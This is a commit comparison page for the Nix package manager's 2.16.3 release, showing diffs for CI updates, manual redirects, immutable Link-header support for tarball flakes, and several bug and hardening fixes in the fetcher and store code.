Compare commits
43 Commits
2.33-maint
...
2.16.3
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
bef56c43c0 | ||
|
|
1ba10f66cb | ||
|
|
e8334d110c | ||
|
|
f94fb636c0 | ||
|
|
0a9cf6328e | ||
|
|
f7d9cae1e0 | ||
|
|
d16050d434 | ||
|
|
f1eaf918d9 | ||
|
|
c86080d308 | ||
|
|
45ac34e90c | ||
|
|
40cb457496 | ||
|
|
e7c9ce0b70 | ||
|
|
5ab9384b33 | ||
|
|
49dfdd6d88 | ||
|
|
ade3bffad3 | ||
|
|
a5a01a7674 | ||
|
|
0201a31342 | ||
|
|
8c9e4668b2 | ||
|
|
a0f07ae3fa | ||
|
|
ec2baaaaac | ||
|
|
114ba0e363 | ||
|
|
8ce966ee00 | ||
|
|
10b38a55cf | ||
|
|
15a3e6e282 | ||
|
|
7cebcde9cc | ||
|
|
0529a89988 | ||
|
|
6305ea6ad2 | ||
|
|
9fcf142ee0 | ||
|
|
24dd90e988 | ||
|
|
681c322f25 | ||
|
|
52ddb32f4a | ||
|
|
ba0400f918 | ||
|
|
92e198f1db | ||
|
|
96aae7ac03 | ||
|
|
afd1c095c8 | ||
|
|
ac32609ed9 | ||
|
|
6906d1185e | ||
|
|
84050709ea | ||
|
|
567a5f0146 | ||
|
|
5ba5bdde36 | ||
|
|
5b1b25695c | ||
|
|
39018fd42e | ||
|
|
1ac5f9eac2 |
10
.github/workflows/ci.yml
vendored
10
.github/workflows/ci.yml
vendored
@@ -11,6 +11,7 @@ jobs:
|
||||
tests:
|
||||
needs: [check_secrets]
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [ubuntu-latest, macos-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
@@ -19,7 +20,7 @@ jobs:
|
||||
- uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
- uses: cachix/install-nix-action@v21
|
||||
- uses: cachix/install-nix-action@v22
|
||||
with:
|
||||
# The sandbox would otherwise be disabled by default on Darwin
|
||||
extra_nix_config: "sandbox = true"
|
||||
@@ -61,7 +62,7 @@ jobs:
|
||||
with:
|
||||
fetch-depth: 0
|
||||
- run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV
|
||||
- uses: cachix/install-nix-action@v21
|
||||
- uses: cachix/install-nix-action@v22
|
||||
with:
|
||||
install_url: https://releases.nixos.org/nix/nix-2.13.3/install
|
||||
- uses: cachix/cachix-action@v12
|
||||
@@ -76,13 +77,14 @@ jobs:
|
||||
needs: [installer, check_secrets]
|
||||
if: github.event_name == 'push' && needs.check_secrets.outputs.cachix == 'true'
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [ubuntu-latest, macos-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
- run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV
|
||||
- uses: cachix/install-nix-action@v21
|
||||
- uses: cachix/install-nix-action@v22
|
||||
with:
|
||||
install_url: '${{needs.installer.outputs.installerURL}}'
|
||||
install_options: "--tarball-url-prefix https://${{ env.CACHIX_NAME }}.cachix.org/serve"
|
||||
@@ -109,7 +111,7 @@ jobs:
|
||||
- uses: actions/checkout@v3
|
||||
with:
|
||||
fetch-depth: 0
|
||||
- uses: cachix/install-nix-action@v21
|
||||
- uses: cachix/install-nix-action@v22
|
||||
with:
|
||||
install_url: https://releases.nixos.org/nix/nix-2.13.3/install
|
||||
- run: echo CACHIX_NAME="$(echo $GITHUB_REPOSITORY-install-tests | tr "[A-Z]/" "[a-z]-")" >> $GITHUB_ENV
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
// redirect rules for anchors ensure backwards compatibility of URLs.
|
||||
// this must be done on the client side, as web servers do not see the anchor part of the URL.
|
||||
// redirect rules for URL fragments (client-side) to prevent link rot.
|
||||
// this must be done on the client side, as web servers do not see the fragment part of the URL.
|
||||
// it will only work with JavaScript enabled in the browser, but this is the best we can do here.
|
||||
// see ./_redirects for path redirects (client-side)
|
||||
|
||||
// redirections are declared as follows:
|
||||
// redirects are declared as follows:
|
||||
// each entry has as its key a path matching the requested URL path, relative to the mdBook document root.
|
||||
//
|
||||
// IMPORTANT: it must specify the full path with file name and suffix
|
||||
@@ -19,6 +21,7 @@ const redirects = {
|
||||
"chap-distributed-builds": "advanced-topics/distributed-builds.html",
|
||||
"chap-post-build-hook": "advanced-topics/post-build-hook.html",
|
||||
"chap-post-build-hook-caveats": "advanced-topics/post-build-hook.html#implementation-caveats",
|
||||
"chap-writing-nix-expressions": "language/index.html",
|
||||
"part-command-ref": "command-ref/command-ref.html",
|
||||
"conf-allow-import-from-derivation": "command-ref/conf-file.html#conf-allow-import-from-derivation",
|
||||
"conf-allow-new-privileges": "command-ref/conf-file.html#conf-allow-new-privileges",
|
||||
@@ -340,6 +343,8 @@ const redirects = {
|
||||
"attribute-sets": "#attribute-set"
|
||||
},
|
||||
"installation/installing-binary.html": {
|
||||
"linux": "uninstall.html#linux",
|
||||
"macos": "uninstall.html#macos",
|
||||
"uninstalling": "uninstall.html"
|
||||
}
|
||||
};
|
||||
|
||||
@@ -98,14 +98,15 @@
|
||||
- [Channels](command-ref/files/channels.md)
|
||||
- [Default Nix expression](command-ref/files/default-nix-expression.md)
|
||||
- [Architecture](architecture/architecture.md)
|
||||
- [Protocols](protocols/protocols.md)
|
||||
- [Serving Tarball Flakes](protocols/tarball-fetcher.md)
|
||||
- [Glossary](glossary.md)
|
||||
- [Contributing](contributing/contributing.md)
|
||||
- [Hacking](contributing/hacking.md)
|
||||
- [Experimental Features](contributing/experimental-features.md)
|
||||
- [CLI guideline](contributing/cli-guideline.md)
|
||||
- [Release Notes](release-notes/release-notes.md)
|
||||
- [Release X.Y (202?-??-??)](release-notes/rl-next.md)
|
||||
- [Release 2.16 (2023-05-21)](release-notes/rl-2.16.md)
|
||||
- [Release 2.16 (2023-05-31)](release-notes/rl-2.16.md)
|
||||
- [Release 2.15 (2023-04-11)](release-notes/rl-2.15.md)
|
||||
- [Release 2.14 (2023-02-28)](release-notes/rl-2.14.md)
|
||||
- [Release 2.13 (2023-01-17)](release-notes/rl-2.13.md)
|
||||
|
||||
30
doc/manual/src/_redirects
Normal file
30
doc/manual/src/_redirects
Normal file
@@ -0,0 +1,30 @@
|
||||
# redirect rules for paths (server-side) to prevent link rot.
|
||||
# see ./redirects.js for redirects based on URL fragments (client-side)
|
||||
#
|
||||
# concrete user story this supports:
|
||||
# - user finds URL to the manual for Nix x.y
|
||||
# - Nix x.z (z > y) is the most recent release
|
||||
# - updating the version in the URL will show the right thing
|
||||
#
|
||||
# format documentation:
|
||||
# - https://docs.netlify.com/routing/redirects/#syntax-for-the-redirects-file
|
||||
# - https://docs.netlify.com/routing/redirects/redirect-options/
|
||||
#
|
||||
# conventions:
|
||||
# - always force (<CODE>!) since this allows re-using file names
|
||||
# - group related paths to ease readability
|
||||
# - always append new redirects to the end of the file
|
||||
# - redirects that should have been there but are missing can be inserted where they belong
|
||||
|
||||
/expressions/expression-language /language/ 301!
|
||||
/expressions/language-values /language/values 301!
|
||||
/expressions/language-constructs /language/constructs 301!
|
||||
/expressions/language-operators /language/operators 301!
|
||||
/expressions/* /language/:splat 301!
|
||||
|
||||
/package-management/basic-package-mgmt /command-ref/nix-env 301!
|
||||
|
||||
/package-management/channels* /command-ref/nix-channel 301!
|
||||
|
||||
/package-management/s3-substituter* /command-ref/new-cli/nix3-help-stores#s3-binary-cache-store 301!
|
||||
|
||||
4
doc/manual/src/protocols/protocols.md
Normal file
4
doc/manual/src/protocols/protocols.md
Normal file
@@ -0,0 +1,4 @@
|
||||
# Protocols
|
||||
|
||||
This chapter documents various developer-facing interfaces provided by
|
||||
Nix.
|
||||
40
doc/manual/src/protocols/tarball-fetcher.md
Normal file
40
doc/manual/src/protocols/tarball-fetcher.md
Normal file
@@ -0,0 +1,40 @@
|
||||
# Serving Tarball Flakes
|
||||
|
||||
Tarball flakes are served as regular tarballs via HTTP or the file
|
||||
system (for `file://` URLs).
|
||||
|
||||
An HTTP server can return an "immutable" flakeref appropriate for lock
|
||||
files. This allows users to specify a tarball flake input in
|
||||
`flake.nix` that requests the latest version of a flake
|
||||
(e.g. `https://example.org/hello/latest.tar.gz`), while `flake.lock`
|
||||
will record a URL whose contents will not change
|
||||
(e.g. `https://example.org/hello/<revision>.tar.gz`). To do so, the
|
||||
server must return a `Link` header with the `rel` attribute set to
|
||||
`immutable`, as follows:
|
||||
|
||||
```
|
||||
Link: <flakeref>; rel="immutable"
|
||||
```
|
||||
|
||||
(Note the required `<` and `>` characters around *flakeref*.)
|
||||
|
||||
*flakeref* must be a tarball flakeref. It can contain the tarball flake attributes
|
||||
`narHash`, `rev`, `revCount` and `lastModified`. If `narHash` is included, its
|
||||
value must be the NAR hash of the unpacked tarball (as computed via
|
||||
`nix hash path`). Nix checks the contents of the returned tarball
|
||||
against the `narHash` attribute. The `rev` and `revCount` attributes
|
||||
are useful when the tarball flake is a mirror of a fetcher type that
|
||||
has those attributes, such as Git or GitHub. They are not checked by
|
||||
Nix.
|
||||
|
||||
```
|
||||
Link: <https://example.org/hello/442793d9ec0584f6a6e82fa253850c8085bb150a.tar.gz
|
||||
?rev=442793d9ec0584f6a6e82fa253850c8085bb150a
|
||||
&revCount=835
|
||||
&narHash=sha256-GUm8Uh/U74zFCwkvt9Mri4DSM%2BmHj3tYhXUkYpiv31M%3D>; rel="immutable"
|
||||
```
|
||||
|
||||
(The linebreaks in this example are for clarity and must not be included in the actual response.)
|
||||
|
||||
For tarball flakes, the value of the `lastModified` flake attribute is
|
||||
defined as the timestamp of the newest file inside the tarball.
|
||||
@@ -11,7 +11,7 @@
|
||||
let
|
||||
inherit (nixpkgs) lib;
|
||||
|
||||
officialRelease = false;
|
||||
officialRelease = true;
|
||||
|
||||
version = lib.fileContents ./.version + versionSuffix;
|
||||
versionSuffix =
|
||||
@@ -590,12 +590,15 @@
|
||||
|
||||
tests.sourcehutFlakes = runNixOSTestFor "x86_64-linux" ./tests/nixos/sourcehut-flakes.nix;
|
||||
|
||||
tests.tarballFlakes = runNixOSTestFor "x86_64-linux" ./tests/nixos/tarball-flakes.nix;
|
||||
|
||||
tests.containers = runNixOSTestFor "x86_64-linux" ./tests/nixos/containers/containers.nix;
|
||||
|
||||
tests.setuid = lib.genAttrs
|
||||
["i686-linux" "x86_64-linux"]
|
||||
(system: runNixOSTestFor system ./tests/nixos/setuid.nix);
|
||||
|
||||
tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak;
|
||||
|
||||
# Make sure that nix-env still produces the exact same result
|
||||
# on a particular version of Nixpkgs.
|
||||
|
||||
@@ -165,7 +165,7 @@ SourcePath lookupFileArg(EvalState & state, std::string_view s)
|
||||
{
|
||||
if (EvalSettings::isPseudoUrl(s)) {
|
||||
auto storePath = fetchers::downloadTarball(
|
||||
state.store, EvalSettings::resolvePseudoUrl(s), "source", false).first.storePath;
|
||||
state.store, EvalSettings::resolvePseudoUrl(s), "source", false).tree.storePath;
|
||||
return state.rootPath(CanonPath(state.store->toRealPath(storePath)));
|
||||
}
|
||||
|
||||
|
||||
@@ -89,7 +89,7 @@ LockFile::LockFile(const nlohmann::json & json, const Path & path)
|
||||
std::string inputKey = i.value();
|
||||
auto k = nodeMap.find(inputKey);
|
||||
if (k == nodeMap.end()) {
|
||||
auto nodes = json["nodes"];
|
||||
auto & nodes = json["nodes"];
|
||||
auto jsonNode2 = nodes.find(inputKey);
|
||||
if (jsonNode2 == nodes.end())
|
||||
throw Error("lock file references missing node '%s'", inputKey);
|
||||
|
||||
@@ -793,7 +793,7 @@ std::pair<bool, std::string> EvalState::resolveSearchPathElem(const SearchPathEl
|
||||
if (EvalSettings::isPseudoUrl(elem.second)) {
|
||||
try {
|
||||
auto storePath = fetchers::downloadTarball(
|
||||
store, EvalSettings::resolvePseudoUrl(elem.second), "source", false).first.storePath;
|
||||
store, EvalSettings::resolvePseudoUrl(elem.second), "source", false).tree.storePath;
|
||||
res = { true, store->toRealPath(storePath) };
|
||||
} catch (FileTransferError & e) {
|
||||
logWarning({
|
||||
|
||||
@@ -1508,15 +1508,27 @@ static RegisterPrimOp primop_storePath({
|
||||
|
||||
static void prim_pathExists(EvalState & state, const PosIdx pos, Value * * args, Value & v)
|
||||
{
|
||||
auto & arg = *args[0];
|
||||
|
||||
/* We don’t check the path right now, because we don’t want to
|
||||
throw if the path isn’t allowed, but just return false (and we
|
||||
can’t just catch the exception here because we still want to
|
||||
throw if something in the evaluation of `*args[0]` tries to
|
||||
throw if something in the evaluation of `arg` tries to
|
||||
access an unauthorized path). */
|
||||
auto path = realisePath(state, pos, *args[0], { .checkForPureEval = false });
|
||||
auto path = realisePath(state, pos, arg, { .checkForPureEval = false });
|
||||
|
||||
/* SourcePath doesn't know about trailing slash. */
|
||||
auto mustBeDir = arg.type() == nString
|
||||
&& (arg.str().ends_with("/")
|
||||
|| arg.str().ends_with("/."));
|
||||
|
||||
try {
|
||||
v.mkBool(state.checkSourcePath(path).pathExists());
|
||||
auto checked = state.checkSourcePath(path);
|
||||
auto exists = checked.pathExists();
|
||||
if (exists && mustBeDir) {
|
||||
exists = checked.lstat().type == InputAccessor::tDirectory;
|
||||
}
|
||||
v.mkBool(exists);
|
||||
} catch (SysError & e) {
|
||||
/* Don't give away info from errors while canonicalising
|
||||
‘path’ in restricted mode. */
|
||||
|
||||
@@ -262,7 +262,7 @@ static void fetch(EvalState & state, const PosIdx pos, Value * * args, Value & v
|
||||
// https://github.com/NixOS/nix/issues/4313
|
||||
auto storePath =
|
||||
unpack
|
||||
? fetchers::downloadTarball(state.store, *url, name, (bool) expectedHash).first.storePath
|
||||
? fetchers::downloadTarball(state.store, *url, name, (bool) expectedHash).tree.storePath
|
||||
: fetchers::downloadFile(state.store, *url, name, (bool) expectedHash).storePath;
|
||||
|
||||
if (expectedHash) {
|
||||
@@ -387,7 +387,8 @@ static RegisterPrimOp primop_fetchGit({
|
||||
|
||||
- `shallow` (default: `false`)
|
||||
|
||||
A Boolean parameter that specifies whether fetching a shallow clone is allowed.
|
||||
A Boolean parameter that specifies whether fetching from a shallow remote repository is allowed.
|
||||
This still performs a full clone of what is available on the remote.
|
||||
|
||||
- `allRefs`
|
||||
|
||||
|
||||
@@ -16,4 +16,4 @@ libexpr-tests_CXXFLAGS += -I src/libexpr -I src/libutil -I src/libstore -I src/l
|
||||
|
||||
libexpr-tests_LIBS = libstore-tests libutils-tests libexpr libutil libstore libfetchers
|
||||
|
||||
libexpr-tests_LDFLAGS := $(GTEST_LIBS) -lgmock
|
||||
libexpr-tests_LDFLAGS := -lrapidcheck $(GTEST_LIBS) -lgmock
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
///@file
|
||||
|
||||
#include "types.hh"
|
||||
#include "hash.hh"
|
||||
|
||||
#include <variant>
|
||||
|
||||
|
||||
@@ -159,6 +159,12 @@ std::pair<Tree, Input> Input::fetch(ref<Store> store) const
|
||||
input.to_string(), *prevLastModified);
|
||||
}
|
||||
|
||||
if (auto prevRev = getRev()) {
|
||||
if (input.getRev() != prevRev)
|
||||
throw Error("'rev' attribute mismatch in input '%s', expected %s",
|
||||
input.to_string(), prevRev->gitRev());
|
||||
}
|
||||
|
||||
if (auto prevRevCount = getRevCount()) {
|
||||
if (input.getRevCount() != prevRevCount)
|
||||
throw Error("'revCount' attribute mismatch in input '%s', expected %d",
|
||||
|
||||
@@ -158,6 +158,7 @@ struct DownloadFileResult
|
||||
StorePath storePath;
|
||||
std::string etag;
|
||||
std::string effectiveUrl;
|
||||
std::optional<std::string> immutableUrl;
|
||||
};
|
||||
|
||||
DownloadFileResult downloadFile(
|
||||
@@ -167,7 +168,14 @@ DownloadFileResult downloadFile(
|
||||
bool locked,
|
||||
const Headers & headers = {});
|
||||
|
||||
std::pair<Tree, time_t> downloadTarball(
|
||||
struct DownloadTarballResult
|
||||
{
|
||||
Tree tree;
|
||||
time_t lastModified;
|
||||
std::optional<std::string> immutableUrl;
|
||||
};
|
||||
|
||||
DownloadTarballResult downloadTarball(
|
||||
ref<Store> store,
|
||||
const std::string & url,
|
||||
const std::string & name,
|
||||
|
||||
@@ -207,21 +207,21 @@ struct GitArchiveInputScheme : InputScheme
|
||||
|
||||
auto url = getDownloadUrl(input);
|
||||
|
||||
auto [tree, lastModified] = downloadTarball(store, url.url, input.getName(), true, url.headers);
|
||||
auto result = downloadTarball(store, url.url, input.getName(), true, url.headers);
|
||||
|
||||
input.attrs.insert_or_assign("lastModified", uint64_t(lastModified));
|
||||
input.attrs.insert_or_assign("lastModified", uint64_t(result.lastModified));
|
||||
|
||||
getCache()->add(
|
||||
store,
|
||||
lockedAttrs,
|
||||
{
|
||||
{"rev", rev->gitRev()},
|
||||
{"lastModified", uint64_t(lastModified)}
|
||||
{"lastModified", uint64_t(result.lastModified)}
|
||||
},
|
||||
tree.storePath,
|
||||
result.tree.storePath,
|
||||
true);
|
||||
|
||||
return {std::move(tree.storePath), input};
|
||||
return {result.tree.storePath, input};
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
@@ -75,22 +75,28 @@ SourcePath SourcePath::resolveSymlinks() const
|
||||
|
||||
int linksAllowed = 1024;
|
||||
|
||||
for (auto & component : path) {
|
||||
res.path.push(component);
|
||||
while (true) {
|
||||
if (auto st = res.maybeLstat()) {
|
||||
std::list<std::string> todo;
|
||||
for (auto & c : path)
|
||||
todo.push_back(std::string(c));
|
||||
|
||||
while (!todo.empty()) {
|
||||
auto c = *todo.begin();
|
||||
todo.pop_front();
|
||||
if (c == "" || c == ".")
|
||||
;
|
||||
else if (c == "..")
|
||||
res.path.pop();
|
||||
else {
|
||||
res.path.push(c);
|
||||
if (auto st = res.maybeLstat(); st && st->type == InputAccessor::tSymlink) {
|
||||
if (!linksAllowed--)
|
||||
throw Error("infinite symlink recursion in path '%s'", path);
|
||||
if (st->type != InputAccessor::tSymlink) break;
|
||||
auto target = res.readLink();
|
||||
res.path.pop();
|
||||
if (hasPrefix(target, "/"))
|
||||
res = CanonPath(target);
|
||||
else {
|
||||
res.path.pop();
|
||||
res.path.extend(CanonPath(target));
|
||||
}
|
||||
} else
|
||||
break;
|
||||
res.path = CanonPath::root;
|
||||
todo.splice(todo.begin(), tokenizeString<std::list<std::string>>(target, "/"));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -32,7 +32,8 @@ DownloadFileResult downloadFile(
|
||||
return {
|
||||
.storePath = std::move(cached->storePath),
|
||||
.etag = getStrAttr(cached->infoAttrs, "etag"),
|
||||
.effectiveUrl = getStrAttr(cached->infoAttrs, "url")
|
||||
.effectiveUrl = getStrAttr(cached->infoAttrs, "url"),
|
||||
.immutableUrl = maybeGetStrAttr(cached->infoAttrs, "immutableUrl"),
|
||||
};
|
||||
};
|
||||
|
||||
@@ -55,12 +56,14 @@ DownloadFileResult downloadFile(
|
||||
}
|
||||
|
||||
// FIXME: write to temporary file.
|
||||
|
||||
Attrs infoAttrs({
|
||||
{"etag", res.etag},
|
||||
{"url", res.effectiveUri},
|
||||
});
|
||||
|
||||
if (res.immutableUrl)
|
||||
infoAttrs.emplace("immutableUrl", *res.immutableUrl);
|
||||
|
||||
std::optional<StorePath> storePath;
|
||||
|
||||
if (res.cached) {
|
||||
@@ -111,10 +114,11 @@ DownloadFileResult downloadFile(
|
||||
.storePath = std::move(*storePath),
|
||||
.etag = res.etag,
|
||||
.effectiveUrl = res.effectiveUri,
|
||||
.immutableUrl = res.immutableUrl,
|
||||
};
|
||||
}
|
||||
|
||||
std::pair<Tree, time_t> downloadTarball(
|
||||
DownloadTarballResult downloadTarball(
|
||||
ref<Store> store,
|
||||
const std::string & url,
|
||||
const std::string & name,
|
||||
@@ -131,8 +135,9 @@ std::pair<Tree, time_t> downloadTarball(
|
||||
|
||||
if (cached && !cached->expired)
|
||||
return {
|
||||
Tree { .actualPath = store->toRealPath(cached->storePath), .storePath = std::move(cached->storePath) },
|
||||
getIntAttr(cached->infoAttrs, "lastModified")
|
||||
.tree = Tree { .actualPath = store->toRealPath(cached->storePath), .storePath = std::move(cached->storePath) },
|
||||
.lastModified = (time_t) getIntAttr(cached->infoAttrs, "lastModified"),
|
||||
.immutableUrl = maybeGetStrAttr(cached->infoAttrs, "immutableUrl"),
|
||||
};
|
||||
|
||||
auto res = downloadFile(store, url, name, locked, headers);
|
||||
@@ -160,6 +165,9 @@ std::pair<Tree, time_t> downloadTarball(
|
||||
{"etag", res.etag},
|
||||
});
|
||||
|
||||
if (res.immutableUrl)
|
||||
infoAttrs.emplace("immutableUrl", *res.immutableUrl);
|
||||
|
||||
getCache()->add(
|
||||
store,
|
||||
inAttrs,
|
||||
@@ -168,8 +176,9 @@ std::pair<Tree, time_t> downloadTarball(
|
||||
locked);
|
||||
|
||||
return {
|
||||
Tree { .actualPath = store->toRealPath(*unpackedStorePath), .storePath = std::move(*unpackedStorePath) },
|
||||
lastModified,
|
||||
.tree = Tree { .actualPath = store->toRealPath(*unpackedStorePath), .storePath = std::move(*unpackedStorePath) },
|
||||
.lastModified = lastModified,
|
||||
.immutableUrl = res.immutableUrl,
|
||||
};
|
||||
}
|
||||
|
||||
@@ -189,21 +198,33 @@ struct CurlInputScheme : InputScheme
|
||||
|
||||
virtual bool isValidURL(const ParsedURL & url) const = 0;
|
||||
|
||||
std::optional<Input> inputFromURL(const ParsedURL & url) const override
|
||||
std::optional<Input> inputFromURL(const ParsedURL & _url) const override
|
||||
{
|
||||
if (!isValidURL(url))
|
||||
if (!isValidURL(_url))
|
||||
return std::nullopt;
|
||||
|
||||
Input input;
|
||||
|
||||
auto urlWithoutApplicationScheme = url;
|
||||
urlWithoutApplicationScheme.scheme = parseUrlScheme(url.scheme).transport;
|
||||
auto url = _url;
|
||||
|
||||
url.scheme = parseUrlScheme(url.scheme).transport;
|
||||
|
||||
input.attrs.insert_or_assign("type", inputType());
|
||||
input.attrs.insert_or_assign("url", urlWithoutApplicationScheme.to_string());
|
||||
auto narHash = url.query.find("narHash");
|
||||
if (narHash != url.query.end())
|
||||
input.attrs.insert_or_assign("narHash", narHash->second);
|
||||
|
||||
if (auto i = get(url.query, "rev"))
|
||||
input.attrs.insert_or_assign("rev", *i);
|
||||
|
||||
if (auto i = get(url.query, "revCount"))
|
||||
if (auto n = string2Int<uint64_t>(*i))
|
||||
input.attrs.insert_or_assign("revCount", *n);
|
||||
|
||||
url.query.erase("rev");
|
||||
url.query.erase("revCount");
|
||||
|
||||
input.attrs.insert_or_assign("type", inputType());
|
||||
input.attrs.insert_or_assign("url", url.to_string());
|
||||
return input;
|
||||
}
|
||||
|
||||
@@ -212,7 +233,8 @@ struct CurlInputScheme : InputScheme
|
||||
auto type = maybeGetStrAttr(attrs, "type");
|
||||
if (type != inputType()) return {};
|
||||
|
||||
std::set<std::string> allowedNames = {"type", "url", "narHash", "name", "unpack"};
|
||||
// FIXME: some of these only apply to TarballInputScheme.
|
||||
std::set<std::string> allowedNames = {"type", "url", "narHash", "name", "unpack", "rev", "revCount", "lastModified"};
|
||||
for (auto & [name, value] : attrs)
|
||||
if (!allowedNames.count(name))
|
||||
throw Error("unsupported %s input attribute '%s'", *type, name);
|
||||
@@ -275,10 +297,25 @@ struct TarballInputScheme : CurlInputScheme
|
||||
: hasTarballExtension(url.path));
|
||||
}
|
||||
|
||||
std::pair<StorePath, Input> fetch(ref<Store> store, const Input & input) override
|
||||
std::pair<StorePath, Input> fetch(ref<Store> store, const Input & _input) override
|
||||
{
|
||||
auto tree = downloadTarball(store, getStrAttr(input.attrs, "url"), input.getName(), false).first;
|
||||
return {std::move(tree.storePath), input};
|
||||
Input input(_input);
|
||||
auto url = getStrAttr(input.attrs, "url");
|
||||
auto result = downloadTarball(store, url, input.getName(), false);
|
||||
|
||||
if (result.immutableUrl) {
|
||||
auto immutableInput = Input::fromURL(*result.immutableUrl);
|
||||
// FIXME: would be nice to support arbitrary flakerefs
|
||||
// here, e.g. git flakes.
|
||||
if (immutableInput.getType() != "tarball")
|
||||
throw Error("tarball 'Link' headers that redirect to non-tarball URLs are not supported");
|
||||
input = immutableInput;
|
||||
}
|
||||
|
||||
if (result.lastModified && !input.attrs.count("lastModified"))
|
||||
input.attrs.insert_or_assign("lastModified", uint64_t(result.lastModified));
|
||||
|
||||
return {result.tree.storePath, std::move(input)};
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
@@ -2522,6 +2522,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs()
|
||||
[&](const DerivationOutput::CAFixed & dof) {
|
||||
auto wanted = dof.ca.getHash();
|
||||
|
||||
// Replace the output by a fresh copy of itself to make sure
|
||||
// that there's no stale file descriptor pointing to it
|
||||
Path tmpOutput = actualPath + ".tmp";
|
||||
copyFile(actualPath, tmpOutput, true);
|
||||
renameFile(tmpOutput, actualPath);
|
||||
|
||||
auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating {
|
||||
.method = dof.ca.getMethod(),
|
||||
.hashType = wanted.type,
|
||||
|
||||
@@ -186,9 +186,9 @@ struct curlFileTransfer : public FileTransfer
|
||||
size_t realSize = size * nmemb;
|
||||
std::string line((char *) contents, realSize);
|
||||
printMsg(lvlVomit, "got header for '%s': %s", request.uri, trim(line));
|
||||
|
||||
static std::regex statusLine("HTTP/[^ ]+ +[0-9]+(.*)", std::regex::extended | std::regex::icase);
|
||||
std::smatch match;
|
||||
if (std::regex_match(line, match, statusLine)) {
|
||||
if (std::smatch match; std::regex_match(line, match, statusLine)) {
|
||||
result.etag = "";
|
||||
result.data.clear();
|
||||
result.bodySize = 0;
|
||||
@@ -196,9 +196,11 @@ struct curlFileTransfer : public FileTransfer
|
||||
acceptRanges = false;
|
||||
encoding = "";
|
||||
} else {
|
||||
|
||||
auto i = line.find(':');
|
||||
if (i != std::string::npos) {
|
||||
std::string name = toLower(trim(line.substr(0, i)));
|
||||
|
||||
if (name == "etag") {
|
||||
result.etag = trim(line.substr(i + 1));
|
||||
/* Hack to work around a GitHub bug: it sends
|
||||
@@ -212,10 +214,22 @@ struct curlFileTransfer : public FileTransfer
|
||||
debug("shutting down on 200 HTTP response with expected ETag");
|
||||
return 0;
|
||||
}
|
||||
} else if (name == "content-encoding")
|
||||
}
|
||||
|
||||
else if (name == "content-encoding")
|
||||
encoding = trim(line.substr(i + 1));
|
||||
|
||||
else if (name == "accept-ranges" && toLower(trim(line.substr(i + 1))) == "bytes")
|
||||
acceptRanges = true;
|
||||
|
||||
else if (name == "link" || name == "x-amz-meta-link") {
|
||||
auto value = trim(line.substr(i + 1));
|
||||
static std::regex linkRegex("<([^>]*)>; rel=\"immutable\"", std::regex::extended | std::regex::icase);
|
||||
if (std::smatch match; std::regex_match(value, match, linkRegex))
|
||||
result.immutableUrl = match.str(1);
|
||||
else
|
||||
debug("got invalid link header '%s'", value);
|
||||
}
|
||||
}
|
||||
}
|
||||
return realSize;
|
||||
@@ -345,7 +359,7 @@ struct curlFileTransfer : public FileTransfer
|
||||
{
|
||||
auto httpStatus = getHTTPStatus();
|
||||
|
||||
char * effectiveUriCStr;
|
||||
char * effectiveUriCStr = nullptr;
|
||||
curl_easy_getinfo(req, CURLINFO_EFFECTIVE_URL, &effectiveUriCStr);
|
||||
if (effectiveUriCStr)
|
||||
result.effectiveUri = effectiveUriCStr;
|
||||
|
||||
@@ -80,6 +80,10 @@ struct FileTransferResult
|
||||
std::string effectiveUri;
|
||||
std::string data;
|
||||
uint64_t bodySize = 0;
|
||||
/* An "immutable" URL for this resource (i.e. one whose contents
|
||||
will never change), as returned by the `Link: <url>;
|
||||
rel="immutable"` header. */
|
||||
std::optional<std::string> immutableUrl;
|
||||
};
|
||||
|
||||
class Store;
|
||||
|
||||
@@ -563,7 +563,7 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results)
|
||||
/* On macOS, accepted sockets inherit the
|
||||
non-blocking flag from the server socket, so
|
||||
explicitly make it blocking. */
|
||||
if (fcntl(fdServer.get(), F_SETFL, fcntl(fdServer.get(), F_GETFL) & ~O_NONBLOCK) == -1)
|
||||
if (fcntl(fdClient.get(), F_SETFL, fcntl(fdClient.get(), F_GETFL) & ~O_NONBLOCK) == -1)
|
||||
abort();
|
||||
|
||||
while (true) {
|
||||
|
||||
@@ -896,12 +896,11 @@ public:
|
||||
this, {}, "hashed-mirrors",
|
||||
R"(
|
||||
A list of web servers used by `builtins.fetchurl` to obtain files by
|
||||
hash. The default is `http://tarballs.nixos.org/`. Given a hash type
|
||||
*ht* and a base-16 hash *h*, Nix will try to download the file from
|
||||
*hashed-mirror*/*ht*/*h*. This allows files to be downloaded even if
|
||||
they have disappeared from their original URI. For example, given
|
||||
the default mirror `http://tarballs.nixos.org/`, when building the
|
||||
derivation
|
||||
hash. Given a hash type *ht* and a base-16 hash *h*, Nix will try to
|
||||
download the file from *hashed-mirror*/*ht*/*h*. This allows files to
|
||||
be downloaded even if they have disappeared from their original URI.
|
||||
For example, given an example mirror `http://tarballs.nixos.org/`,
|
||||
when building the derivation
|
||||
|
||||
```nix
|
||||
builtins.fetchurl {
|
||||
|
||||
@@ -3,6 +3,6 @@
|
||||
|
||||
namespace nix {
|
||||
|
||||
static constexpr std::string_view nameRegexStr = R"([0-9a-zA-Z\+\-\._\?=]+)";
|
||||
static constexpr std::string_view nameRegexStr = R"([0-9a-zA-Z\+\-_\?=][0-9a-zA-Z\+\-\._\?=]*)";
|
||||
|
||||
}
|
